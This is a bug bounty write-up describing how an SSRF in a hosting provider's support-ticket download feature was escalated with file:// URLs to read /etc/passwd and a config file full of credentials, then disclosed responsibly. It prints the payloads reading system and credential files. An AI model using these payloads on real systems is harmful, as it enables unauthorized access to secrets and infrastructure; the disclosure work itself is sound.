# Pwning Infrastructure via file protocol

A new support ticket feature. A suspicious download_url parameter. An unfiltered file:// protocol. Got a config file. 99+ plaintext secrets exposed

- Author: Krishna Agarwal
- Published: 2025-11-23T00:00:00.000Z
- Tags: bug bounty, technical
- Canonical: https://kr1shna4garwal.com/blogs/pwning-infrastructure-via-file-protocol

# Pwning Infrastructure via file protocol

Marcus Aurelius once wrote: *"The impediment to action advances action. What stands in the way becomes the way."*

I think about this quote a lot when hunting bugs or conducting simulations for clients. Sometimes the universe just aligns. A file upload feature here, a missing validation there, a configuration file in an unusual location. Each weakness, unremarkable on its own. Together? Sometimes forms potential infrastructure takeover.

A few months ago (September '25), my collaborator Swapnil and I were working on a bug bounty program for a cloud hosting provider. They offered VPS services and other usual services that cloud hosting providers offer.

For context: I'm a red team operator and security researcher who goes by "kr1shna4garwal" (Krishna Agarwal). I spend my days (and nights, let's be honest) trying to break things that shouldn't break and acting like a state-sponsored threat actor sometimes.

## Act 1: A Feature That Changed Everything

This program was particularly dominated by my friend [Swapnil](https://www.linkedin.com/in/swapnil-ade-a67551213/) (shoutout to this great mysterious man!). He'd been working on it for a long time, reporting a bunch of access control and cross-site scripting issues, so one day he invited me to hunt on this together.

We worked together on this for a few months and together reported a few more issues back in time, like oVirt panel credential exposure due to issue in async request processing, that's a story for another day.

One day (on 29th September), scrolling through the customer panel, I noticed something new. They had added a support ticket system. customers could now raise support requests directly from the dashboard. Behind the scenes, they were using Jira, though.

So the support ticket system takes a Summary, Description, and a "revolutionary" attachment feature. Fair enough. I `lorem ipsum`'d both fields and attached a beautiful, non-harmful image.

Here is the redacted POST request:

```http
POST /[Somefile].php HTTP/2
Host: customer.REDACTED.com
Cookie: [...My Cookies...]
Content-Length: 682
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0nA5NXTKKKAAOBGT
Origin: https://customer.REDACTED.com
Accept-Encoding: gzip, deflate, br

------WebKitFormBoundary0nA5NXTKKKAAOBGT
Content-Disposition: form-data; name="action"

open_a_ticket
------WebKitFormBoundary0nA5NXTKKKAAOBGT
Content-Disposition: form-data; name="token"

[...MY Access Token...]
------WebKitFormBoundary0nA5NXTKKKAAOBGT
Content-Disposition: form-data; name="summary"

Quo usque tandem, patientia nostra?
------WebKitFormBoundary0nA5NXTKKKAAOBGT
Content-Disposition: form-data; name="message"

Nec dubitamus multa iter quae et nos invenerat.
------WebKitFormBoundary0nA5NXTKKKAAOBGT
Content-Disposition: form-data; name="file[]"; filename="fox.jpeg"
Content-Type: image/jpeg

[...JPEG...]
------WebKitFormBoundary0nA5NXTKKKAAOBGT--
```

The file went through, and I refreshed the page. I found a hyperlink in my support request that, when clicked, initiated a separate POST request to download my file. Interesting!

The request was:
```http
POST /[Somefile].php HTTP/2
Host: customer.REDACTED.com
Cookie: [...My Cookies...]
Content-Length: 107
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://customer.REDACTED.com
Accept-Encoding: gzip, deflate, br

action=download_file&token=[...MY Access Token...]&download_url=https://support.REDACTED.com/_servicedesk/customers/secure/attachment/[...Some Kind of Integer id...]/fox.jpeg?fromIssue=[...My Issue Number...]
```

## Act 2: The SSRFing

There it was. That beautiful, terrible parameter that got my attention immediately: `download_url`.

For those unfamiliar, seeing a parameter like `download_url`, which by design seems to take input as a URL, is a red flag for Server-Side Request Forgery (SSRF)!

I replaced the value of the `download_url` parameter with my out-of-band server, and sure enough, I received the HTTP request, confirming Server-Side Request Forgery. Next up, I could scan for internal services here. But destiny had other plans.

## Act 3: file:// Magic

In this materialistic world, HTTP and HTTPS aren't the only URL protocols. Some are more dangerous than others. The `file://` protocol, for instance, allows access to the local filesystem.

Most HTTP libraries support multiple protocols. PHP's [`file_get_contents()`](https://www.php.net/manual/en/function.file-get-contents.php), [cURL](https://www.php.net/manual/en/function.curl-exec.php), and similar functions will happily process `file://` URLs unless explicitly filtered.

I modified my POST request again:

```
download_url=file:///etc/passwd
```

And surprisingly, the response came back with:
```
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...SNIP...]
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
api:x:100:65533:Linux User,,,:/opt/app:/sbin/nologin
```

![file:///etc/passwd](/images/blogs/etc-passwd-content-poc.png)

The server's `/etc/passwd` content returned!

Now, this is where the so-called philosopher inside me appreciated the elegance of the universe. A Server-Side Request Forgery that accepts the `file://` protocol is essentially a Local File Inclusion (LFI) vulnerability in disguise. Imagine if I had just stopped and reported this. Surely this was a high-severity finding, certainly. But my goal was critical.

Let me show you what's happening behind the scenes, based on my understanding, here is pseudo-code I imagined

```php
function download_req($action, $token, $download_url) {
	$user = validate_user_token($token)
	$foo = curl_init()

	curl_setopt($foo, CURLOPT_URL, $download_url);
    curl_setopt($foo, CURLOPT_RETURNTRANSFER, true);
    $result = curl_exec($foo); // curl_exec foo!
    curl_close($foo);

	if (!$user) {
		return error_resp("Invalid Token");
	} // If token is invalid, no further processing

	if ($action === 'download_file') {
	$file_content = $result;

	return $file_content; // return response
	}
}
?>
```

The application was essentially acting as a proxy, It takes a URL, fetches its content and return it to the user in response.

PHP has a feature called stream wrappers that can chain filters together. In recent years, many researchers have discovered ways to use these chains to achieve arbitrary code execution through file read. But here, the application wasn't processing PHP filters. Afterwards, I tried several other techniques such as `gopher://` and other potentially dangerous protocols, log poisoning, SSH keys, etc. But all attempts failed miserably.

## Act 4: When One Door Closes

Someone said it right: when one path closes, examine or carve another. We couldn't get code execution through conventional means, unfortunately. But we had arbitrary file read, and the next most valuable thing to read is configuration files.

Modern web applications are essentially configured secrets wrapped in code. credentials, API keys, encryption keys. All stored somewhere, in some form, on the server.

I started fuzzing for the usual suspects like `.env`, `database.php`, `config.php` in usual paths like `/`, `/var/www/html`, `/usr/share/nginx/html`, and so on.

All returned empty responses. Unfortunately.

From past whitebox based assessments, I learned that developers sometimes deploy applications in various ways. Docker containers often mount application code to `/app` or `/opt/app`, sometimes developers find `/opt/` convenient for organization, and many other such non-standard patterns exist.

From here, I guessed many, but got hit at:

```
download_url=file:///opt/app/config.php
```

![This is the end. Hold your breath and count to ten...](https://i.imgflip.com/931adv.gif)


And here we go! It returned about 300 lines of response containing the disaster.

I got everything, including (but not limited to) configuration values, credentials, secrets, API keys, tokens. Everything in plaintext. This single file contained everything.

Just for clarity, here are the items we got: LiveChat credentials, Kayako credentials, Jira Service credentials, cPanel credentials, Plesk credentials, ISPManager credentials, Foreman infrastructure credentials (spanning 13 regions: RU, NL, DE, IS, US, UK, FR, TR, ES, IT, CH, PL, FI), database credentials, RabbitMQ credentials, PayPal/BitPay/Stripe/Coinbase credentials, email credentials, GitHub credentials, PowerDNS keys, encryption keys, and more.

![file:///opt/app/config.php](/images/blogs/configleak.png)

Do I even need to write the impact in a fancy manner here? This is complete potential infrastructure takeover. We stopped right after getting the credentials and reported it right away. Using these credentials and the Local File Inclusion issue, I could have gained control over all their mentioned financial platforms, databases, repositories, panels, and application PHP source codes, respectively.

I calculated severity of this vulnerability as Critical (9.9) and CVSS:3.1 vector string was [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H](https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

Here is the breakdown:

- Attack Vector (AV:N): Network - exploitable remotely over the internet
- Attack Complexity (AC:L): Low - no special conditions required beyond basic authentication
- Privileges Required (PR:L): Low - only requires a standard user account
- User Interaction (UI:N): None - attacker can exploit without user participation
- Scope (S:C): Changed - the vulnerability affects resources beyond its original security scope
- Confidentiality Impact (C:H): High - total disclosure of all files on the system
- Integrity Impact (I:H): High - with exposed credentials, attacker can modify any data
- Availability Impact (A:H): High - attacker can disrupt or destroy services using exposed credentials


## Responsible Disclosure

We documented everything and reported the vulnerability to their Chief Technology Officer. He responded promptly and immediately took action.

**Timeline:**

- 29 September '25 - Noticed the new support system feature
- 30 September '25 - Discovery and reported
- 1 October '25 - They disabled the support functionality entirely
- 8 October '25 - Bounty awarded: **$4,500**
- 12 October '25 - They redesigned the attachment download functionality entirely
- 23 November '25 - Publishing this writeup

---

**Disclaimer:** All details have been anonymized or changed to protect the affected organization. No actual credentials or identifying information are included.
